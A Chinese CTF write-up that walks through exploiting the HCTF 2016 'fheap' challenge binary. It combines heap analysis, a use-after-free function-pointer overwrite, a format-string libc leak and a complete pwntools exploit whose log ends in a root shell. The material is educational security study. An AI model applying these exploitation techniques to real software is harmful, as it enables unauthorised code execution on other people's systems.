0x00:前言
这道题是一道堆栈混合加格式化字符串的题目,题目的利用点不错,很适合好好做一遍。
0x01:题目链接
https://github.com/zh-explorer/hctf2016-fheap
0x02:解题思路
首先查看程序保护
root@Thunder_J-virtual-machine:~/桌面# checksec pwn-f
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/Thunder_J/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.12.1 --> 3.12.2).
Update with: $ pip install -U pwntools
[*] '/home/xsj/\xe6\xa1\x8c\xe9\x9d\xa2/pwn-f'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
在gdb中运行程序,有三种选择,创建,删除,退出
pwndbg> r
Starting program: /home/Thunder_J/桌面/pwn-f
+++++++++++++++++++++++++++
So, let's crash the world
+++++++++++++++++++++++++++
1.create string
2.delete string
3.quit
我们先在exit()函数下断点,创建两个大小为4,内容为aaaa的字符串,然后quit退出,断点断在退出的时候我们用vmmap找到程序基址,然后在IDA中找到菜单显示函数的地址RVA = 114B ,在加上基址的地方下断点也就是程序中的菜单函数的地址,这样我们每次操作都会断在菜单显示前,每一次操作都可以进行调试查看了
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555556000 r-xp 2000 0 /home/Thunder_J/桌面/pwn-f #Imagebase
0x555555755000 0x555555756000 r--p 1000 1000 /home/ Thunder_J /桌面/pwn-f
0x555555756000 0x555555757000 rw-p 1000 2000 /home/ Thunder_J /桌面/pwn-f
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7fd9000 0x7ffff7fdb000 rw-p 2000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> b *0x555555555114b
Breakpoint 2 at 0x555555555114b #ImageBase + RVA
为了分析清楚结构体,我们查看一下刚才创建的两个chunk
pwndbg> heap
0x555555757000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555757250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x61616161,
bk = 0x0,
fd_nextsize = 0x4,
bk_nextsize = 0x555555554d52
}
0x555555757280 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x61616161,
bk = 0x0,
fd_nextsize = 0x4,
bk_nextsize = 0x555555554d52
}
0x5555557572b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/20gx 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000031 # total size
0x555555757260: 0x0000000061616161 0x0000000000000000 # string
0x555555757270: 0x0000000000000004 0x0000555555554d52 # string size ; free.plt
0x555555757280: 0x0000000000000000 0x0000000000000031
0x555555757290: 0x0000000061616161 0x0000000000000000
0x5555557572a0: 0x0000000000000004 0x0000555555554d52
0x5555557572b0: 0x0000000000000000 0x0000000000020d51
0x5555557572c0: 0x0000000000000000 0x0000000000000000
0x5555557572d0: 0x0000000000000000 0x0000000000000000
0x5555557572e0: 0x0000000000000000 0x0000000000000000
pwndbg> x/20i 0x0000555555554d52
0x555555554d52: push rbp
0x555555554d53: mov rbp,rsp
0x555555554d56: sub rsp,0x10
0x555555554d5a: mov QWORD PTR [rbp-0x8],rdi
0x555555554d5e: mov rax,QWORD PTR [rbp-0x8]
0x555555554d62: mov rdi,rax
0x555555554d65: call 0x555555554960 <free@plt>
0x555555554d6a: leave
0x555555554d6b: ret
0x555555554d6c: push rbp
0x555555554d6d: mov rbp,rsp
0x555555554d70: sub rsp,0x10
0x555555554d74: mov QWORD PTR [rbp-0x8],rdi
0x555555554d78: mov rax,QWORD PTR [rbp-0x8]
0x555555554d7c: mov rax,QWORD PTR [rax]
0x555555554d7f: mov rdi,rax
0x555555554d82: call 0x555555554960 <free@plt>
0x555555554d87: mov rax,QWORD PTR [rbp-0x8]
0x555555554d8b: mov rdi,rax
0x555555554d8e: call 0x555555554960 <free@plt>
结合IDA可以看到,申请字符串的大小大于15的时候会新创建一个chunk来存放 ,小于则存放在0x20的chunk中,IDA中显示如下
nbytesa = strlen(&buf);
if ( nbytesa > 0xF )
{
dest = (char *)malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, &buf, nbytesa);
*(_QWORD *)ptr = dest;
*((_QWORD *)ptr + 3) = sub_D6C;
}
else
{
strncpy(ptr, &buf, nbytesa);
*((_QWORD *)ptr + 3) = sub_D52;
}
分析出结构体的内容如下,我们可以通过在IDA中创建结构体,然后在伪c代码中引用,方便我们查看,具体怎么创建参考这个链接:https://xz.aliyun.com/t/4205
string struc ; (sizeof = 0x20)
string dq ?
padding dq ?
size dd ?
none dd ?
free_func dq ? ;offset
string ends
我们还可以看到程序中有一个全局变量,指向我们的chunk地址
for ( i = 0; i <= 15; ++i )
{
if ( !*((_DWORD *)&unk_2020C0 + 4 * i) )
{
*((_DWORD *)&unk_2020C0 + 4 * i) = 1;
*((_QWORD *)&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
我们查看一下刚才创建两个chunk之后这个全局变量的结构
pwndbg> x/20gx 0x5555557560c0
0x5555557560c0: 0x0000000000000001 0x0000555555757260 # => chunk1
0x5555557560d0: 0x0000000000000001 0x0000555555757290 # => chunk2
0x5555557560e0: 0x0000000000000000 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000
0x555555756100: 0x0000000000000000 0x0000000000000000
0x555555756110: 0x0000000000000000 0x0000000000000000
0x555555756120: 0x0000000000000000 0x0000000000000000
0x555555756130: 0x0000000000000000 0x0000000000000000
0x555555756140: 0x0000000000000000 0x0000000000000000
0x555555756150: 0x0000000000000000 0x0000000000000000
我们分析完结构之后再来查看delete函数,这里没有完全将全局指针清零,存在漏洞
printf("Pls give me the string id you want to delete\nid:");
v1 = sub_B65();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *((_QWORD *)&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&unk_2020C0 + 2 * v1 + 1) + 24LL))(
*((_QWORD *)&unk_2020C0 + 2 * v1 + 1),
"yes");
*((_DWORD *)&unk_2020C0 + 4 * v1) = 0;
}
}
return __readfsqword(0x28u) ^ v3;
}
我们的思路就是首先创建两个长度小于0x10(16)的chunk分别是chunk0,chunk1,然后我们将它们删除,分别是chunk1,chunk0,再次申请大小为0x20(32)的chunk就会拿到chunk1,我们这个时候就可以写入call puts函数的地址,为什么不能写puts函数的地址呢,因为puts函数的地址是随机的,我们无法确定puts函数的地址,而call puts函数就在我们的程序里面,我们可以通过objdump找到,我们先查看一下调用free函数的地址 ,也就是以 0x555555554dxx 开头的一系列地址
pwndbg> x/20i 0x0000555555554d52
0x555555554d52: push rbp
0x555555554d53: mov rbp,rsp
0x555555554d56: sub rsp,0x10
0x555555554d5a: mov QWORD PTR [rbp-0x8],rdi
0x555555554d5e: mov rax,QWORD PTR [rbp-0x8]
0x555555554d62: mov rdi,rax
0x555555554d65: call 0x555555554960 <free@plt>
0x555555554d6a: leave
0x555555554d6b: ret
0x555555554d6c: push rbp
0x555555554d6d: mov rbp,rsp
0x555555554d70: sub rsp,0x10
0x555555554d74: mov QWORD PTR [rbp-0x8],rdi
0x555555554d78: mov rax,QWORD PTR [rbp-0x8]
0x555555554d7c: mov rax,QWORD PTR [rax]
0x555555554d7f: mov rdi,rax
0x555555554d82: call 0x555555554960 <free@plt>
0x555555554d87: mov rax,QWORD PTR [rbp-0x8]
0x555555554d8b: mov rdi,rax
0x555555554d8e: call 0x555555554960 <free@plt>
因为程序中调用free函数最后三位地址是dxx开始的,我们又只能修改程序地址的最后两位,也就是程序的最后一个字节,所以我们需要找到0x555555554dxx 附近call puts函数的地址,我们用objdump实现,可以看到有三个可以调用的地方,我们选择第一个
root@Thunder_J-virtual-machine:~/桌面# objdump -d pwn-f | grep "puts"
0000000000000990 <puts@plt>:
c54: e8 37 fd ff ff callq 990 <puts@plt>
c60: e8 2b fd ff ff callq 990 <puts@plt>
c6c: e8 1f fd ff ff callq 990 <puts@plt>
d1a: e8 71 fc ff ff callq 990 <puts@plt> => dxx
d2d: e8 5e fc ff ff callq 990 <puts@plt> => dxx
de4: e8 a7 fb ff ff callq 990 <puts@plt> => dxx
f31: e8 5a fa ff ff callq 990 <puts@plt>
f83: e8 08 fa ff ff callq 990 <puts@plt>
100d: e8 7e f9 ff ff callq 990 <puts@plt>
1119: e8 72 f8 ff ff callq 990 <puts@plt>
1156: e8 35 f8 ff ff callq 990 <puts@plt>
1162: e8 29 f8 ff ff callq 990 <puts@plt>
116e: e8 1d f8 ff ff callq 990 <puts@plt>
我们调试这一个过程
from pwn import *
context.log_level = 'debug'
p = process('./pwn-f')
elf = ELF('./pwn-f')
if args.G:
gdb.attach(p)
def create(size,data):
p.recvuntil('t\n')
p.sendline('create ')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('str:')
p.send(data)
def delete(num):
p.recvuntil('t\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(num))
p.recvuntil('sure?:')
p.send('yes')
create(4,'aaaa')
create(4,'bbbb')
delete(1)
delete(0)
leak = 'a'*24 + '\x1a'
create(32,leak)
p.interactive()
调试结果如下,可以看到free函数地址已经被修改
pwndbg> x/20gx 0x56012308b280
0x56012308b280: 0x0000000000000000 0x0000000000000031
0x56012308b290: 0x6161616161616161 0x6161616161616161
0x56012308b2a0: 0x6161616161616161 0x0000560121ee2d1a # free() => puts()
0x56012308b2b0: 0x0000000000000000 0x0000000000020d51
0x56012308b2c0: 0x0000000000000000 0x0000000000000000
0x56012308b2d0: 0x0000000000000000 0x0000000000000000
0x56012308b2e0: 0x0000000000000000 0x0000000000000000
0x56012308b2f0: 0x0000000000000000 0x0000000000000000
0x56012308b300: 0x0000000000000000 0x0000000000000000
0x56012308b310: 0x0000000000000000 0x0000000000000000
通过堆栈的观察,我们看到偏移为31的地方是libc的地址,我们就可以通过printf函数泄露它的地址,从而计算出system函数的地址,最后getshell,最重要的还是编写脚本边一步一步调试,exp如下
from pwn import *
context.log_level = 'debug'
p = process('./pwn-f')
#elf = ELF('./pwn-f')
if args.G:
gdb.attach(p)
def create(size,data):
p.recvuntil('t\n')
p.sendline('create ')
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('str:')
p.send(data)
def delete(num):
p.recvuntil('t\n')
p.sendline('delete ')
p.recvuntil('id:')
p.sendline(str(num))
p.recvuntil('sure?:')
p.send('yes')
create(4,'aaaa')
create(4,'bbbb')
delete(1)
delete(0)
leak = 'a'*24 + '\x1a' # leak puts_addr
create(32,leak)
delete(1)
p.recvuntil('a'*24)
puts_addr = u64(p.recv(6)+'\x00\x00')
print hex(puts_addr)
print_addr = puts_addr - 0xd1a + 0x9d0
print hex(print_addr)
delete(0)
leak2 = 'a'*8 + '%31$p' + 'b'*11 + p64(print_addr) # leak libc
create(32,leak2)
delete(1)
padding = 0x8d403
libc = p.recv()[8:22]
libc_addr = int(libc,16) - padding
system_addr = libc_addr + 0x4f440
print hex(libc_addr)
print hex(system_addr)
p.sendline('')
delete(0)
payload = 'sh;' + 'a'*21 + p64(system_addr)
create(32,payload)
delete(1)
p.interactive()
运行结果
root@Thunder_J-virtual-machine:~/桌面# python 1.py
[+] Starting local process './pwn-f': pid 4268
[DEBUG] Received 0x79 bytes:
'+++++++++++++++++++++++++++\n'
"So, let's crash the world\n"
'+++++++++++++++++++++++++++\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x4 bytes:
'a' * 0x4
[DEBUG] Received 0x3a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x4 bytes:
'b' * 0x4
[DEBUG] Received 0x3a bytes:
'The string id is 1\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x27 bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x27 bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x19 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 1a │aaaa│aaaa│·│
00000019
[DEBUG] Received 0x3a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x46 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 1a cd 69 f0 64 55 0a 31 │aaaa│aaaa│··i·│dU·1│
00000020 2e 63 72 65 61 74 65 20 73 74 72 69 6e 67 0a 32 │.cre│ate │stri│ng·2│
00000030 2e 64 65 6c 65 74 65 20 73 74 72 69 6e 67 0a 33 │.del│ete │stri│ng·3│
00000040 2e 71 75 69 74 0a │.qui│t·│
00000046
0x5564f069cd1a
0x5564f069c9d0
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x27 bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x20 bytes:
00000000 61 61 61 61 61 61 61 61 25 33 31 24 70 62 62 62 │aaaa│aaaa│%31$│pbbb│
00000010 62 62 62 62 62 62 62 62 d0 c9 69 f0 64 55 00 00 │bbbb│bbbb│··i·│dU··│
00000020
[DEBUG] Received 0x3a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x4e bytes:
00000000 61 61 61 61 61 61 61 61 30 78 37 66 32 64 32 65 │aaaa│aaaa│0x7f│2d2e│
00000010 31 63 63 34 30 33 62 62 62 62 62 62 62 62 62 62 │1cc4│03bb│bbbb│bbbb│
00000020 62 d0 c9 69 f0 64 55 31 2e 63 72 65 61 74 65 20 │b··i│·dU1│.cre│ate │
00000030 73 74 72 69 6e 67 0a 32 2e 64 65 6c 65 74 65 20 │stri│ng·2│.del│ete │
00000040 73 74 72 69 6e 67 0a 33 2e 71 75 69 74 0a │stri│ng·3│.qui│t·│
0000004e
0x7f2d2e13f000
0x7f2d2e18e440
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
[DEBUG] Received 0x33 bytes:
'Invalid cmd\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'0\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[DEBUG] Received 0x27 bytes:
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'create \n'
[DEBUG] Received 0x15 bytes:
'Pls give string size:'
[DEBUG] Sent 0x3 bytes:
'32\n'
[DEBUG] Received 0x4 bytes:
'str:'
[DEBUG] Sent 0x20 bytes:
00000000 73 68 3b 61 61 61 61 61 61 61 61 61 61 61 61 61 │sh;a│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 40 e4 18 2e 2d 7f 00 00 │aaaa│aaaa│@··.│-···│
00000020
[DEBUG] Received 0x3a bytes:
'The string id is 0\n'
'1.create string\n'
'2.delete string\n'
'3.quit\n'
[DEBUG] Sent 0x8 bytes:
'delete \n'
[DEBUG] Received 0x30 bytes:
'Pls give me the string id you want to delete\n'
'id:'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0xe bytes:
'Are you sure?:'
[DEBUG] Sent 0x3 bytes:
'yes'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x5 bytes:
'root\n'
root
0x03:总结
最最重要的就是学会调试自己写的脚本,写一步调一步,直到getshell